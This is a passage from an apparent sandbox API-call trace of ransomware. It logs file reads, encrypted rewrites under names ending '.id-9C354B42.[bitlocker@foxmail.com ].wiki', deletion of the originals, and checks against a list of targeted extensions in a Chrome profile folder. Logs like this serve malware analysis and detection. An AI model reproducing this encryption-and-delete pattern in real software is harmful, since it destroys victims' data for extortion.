Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.129] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json")) returned 1 [0172.129] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.129] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.130] lstrlenW (lpString=".doc") returned 4 [0172.130] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.130] lstrlenW (lpString=".docx") returned 5 [0172.130] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.130] lstrlenW (lpString=".pdf") returned 4 [0172.130] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.130] lstrlenW (lpString=".xls") returned 4 [0172.130] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.130] lstrlenW (lpString=".xlsx") returned 5 [0172.130] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.130] lstrlenW (lpString=".ppt") returned 4 [0172.130] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.130] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.130] lstrlenW (lpString=".zip") returned 4 [0172.130] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.130] lstrlenW (lpString=".rar") returned 4 [0172.130] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.130] lstrlenW (lpString=".bz2") returned 4 [0172.130] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.130] lstrlenW (lpString=".7z") returned 3 [0172.130] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.130] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.130] lstrlenW (lpString=".dbf") returned 4 [0172.130] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.130] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.130] lstrlenW (lpString=".1cd") returned 4 [0172.130] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.130] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.130] lstrlenW (lpString=".jpg") returned 4 [0172.130] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.131] lstrlenW (lpString=".doc") returned 4 [0172.131] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.131] lstrlenW (lpString=".docx") returned 5 [0172.131] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.131] lstrlenW (lpString=".pdf") returned 4 [0172.131] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.131] lstrlenW (lpString=".xls") returned 4 [0172.131] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.131] lstrlenW (lpString=".xlsx") returned 5 [0172.131] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.131] lstrlenW (lpString=".ppt") returned 4 [0172.131] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.131] lstrlenW (lpString=".zip") returned 4 [0172.131] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.131] lstrlenW (lpString=".rar") returned 4 [0172.131] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.131] lstrlenW (lpString=".bz2") returned 4 [0172.131] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.131] lstrlenW (lpString=".7z") returned 3 [0172.131] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.131] lstrlenW (lpString=".dbf") returned 4 [0172.131] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.131] lstrlenW (lpString=".1cd") returned 4 [0172.131] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.131] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 151 [0172.131] lstrlenW (lpString=".jpg") returned 4 [0172.132] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.132] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.132] lstrlenW (lpString="messages.json") returned 13 [0172.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.132] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=230) returned 1 [0172.132] CloseHandle (hObject=0x124) returned 1 [0172.132] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json")) returned 0x2020 [0172.132] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.133] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.134] GetLastError () returned 0x0 [0172.134] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xe6, lpOverlapped=0x0) returned 1 [0172.135] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.136] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.136] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.136] SetEndOfFile (hFile=0x320) returned 1 [0172.136] CloseHandle (hObject=0x320) returned 1 [0172.136] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.136] SetEndOfFile (hFile=0x124) returned 1 [0172.137] CloseHandle (hObject=0x124) returned 1 [0172.137] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.137] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json")) returned 1 [0172.138] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.138] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.138] lstrlenW (lpString=".doc") returned 4 [0172.138] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.138] lstrlenW (lpString=".docx") returned 5 [0172.138] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.138] lstrlenW (lpString=".pdf") returned 4 [0172.138] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.138] lstrlenW (lpString=".xls") returned 4 [0172.138] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.138] lstrlenW (lpString=".xlsx") returned 5 [0172.138] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.138] lstrlenW (lpString=".ppt") returned 4 [0172.138] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.138] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.138] lstrlenW (lpString=".zip") returned 4 [0172.138] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.138] lstrlenW (lpString=".rar") returned 4 [0172.138] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.138] lstrlenW (lpString=".bz2") returned 4 [0172.138] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.138] lstrlenW (lpString=".7z") returned 3 [0172.138] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.138] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.138] lstrlenW (lpString=".dbf") returned 4 [0172.138] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.138] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.138] lstrlenW (lpString=".1cd") returned 4 [0172.138] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.139] lstrlenW (lpString=".jpg") returned 4 [0172.139] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.139] lstrlenW (lpString=".doc") returned 4 [0172.139] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.139] lstrlenW (lpString=".docx") returned 5 [0172.139] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.139] lstrlenW (lpString=".pdf") returned 4 [0172.139] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.139] lstrlenW (lpString=".xls") returned 4 [0172.139] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.139] lstrlenW (lpString=".xlsx") returned 5 [0172.139] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.139] lstrlenW (lpString=".ppt") returned 4 [0172.139] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.139] lstrlenW (lpString=".zip") returned 4 [0172.139] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.139] lstrlenW (lpString=".rar") returned 4 [0172.139] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.139] lstrlenW (lpString=".bz2") returned 4 [0172.139] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.139] lstrlenW (lpString=".7z") returned 3 [0172.139] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.139] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.142] lstrlenW (lpString=".dbf") returned 4 [0172.142] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.142] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.142] lstrlenW (lpString=".1cd") returned 4 [0172.142] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.142] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 151 [0172.142] lstrlenW (lpString=".jpg") returned 4 [0172.142] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.142] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.142] lstrlenW (lpString="messages.json") returned 13 [0172.142] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.142] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=208) returned 1 [0172.142] CloseHandle (hObject=0x124) returned 1 [0172.143] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json")) returned 0x2020 [0172.143] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0172.143] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.143] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0172.143] GetLastError () returned 0x0 [0172.143] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xd0, lpOverlapped=0x0) returned 1 [0172.144] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.145] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.145] WriteFile (in: hFile=0x320, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.146] SetEndOfFile (hFile=0x320) returned 1 [0172.146] CloseHandle (hObject=0x320) returned 1 [0172.146] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.146] SetEndOfFile (hFile=0x124) returned 1 [0172.147] CloseHandle (hObject=0x124) returned 1 [0172.147] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.147] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json")) returned 1 [0172.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.148] lstrlenW (lpString=".doc") returned 4 [0172.148] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.148] lstrlenW (lpString=".docx") returned 5 [0172.148] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.148] lstrlenW (lpString=".pdf") returned 4 [0172.148] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.148] lstrlenW (lpString=".xls") returned 4 [0172.148] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.148] lstrlenW (lpString=".xlsx") returned 5 [0172.148] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.148] lstrlenW (lpString=".ppt") returned 4 [0172.148] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.148] lstrlenW (lpString=".zip") returned 4 [0172.148] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.148] lstrlenW (lpString=".rar") returned 4 [0172.148] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.148] lstrlenW (lpString=".bz2") returned 4 [0172.148] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.148] lstrlenW (lpString=".7z") returned 3 [0172.148] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.148] lstrlenW (lpString=".dbf") returned 4 [0172.148] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.148] lstrlenW (lpString=".1cd") returned 4 [0172.149] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.149] lstrlenW (lpString=".jpg") returned 4 [0172.149] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 151 [0172.149] lstrlenW (lpString=".doc") returned 4 [0172.149] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.149] lstrlenW (lpString=".docx") returned 5 [0172.149] lstrcmpiW (lpString1=".docx", lpString2=".json") returned 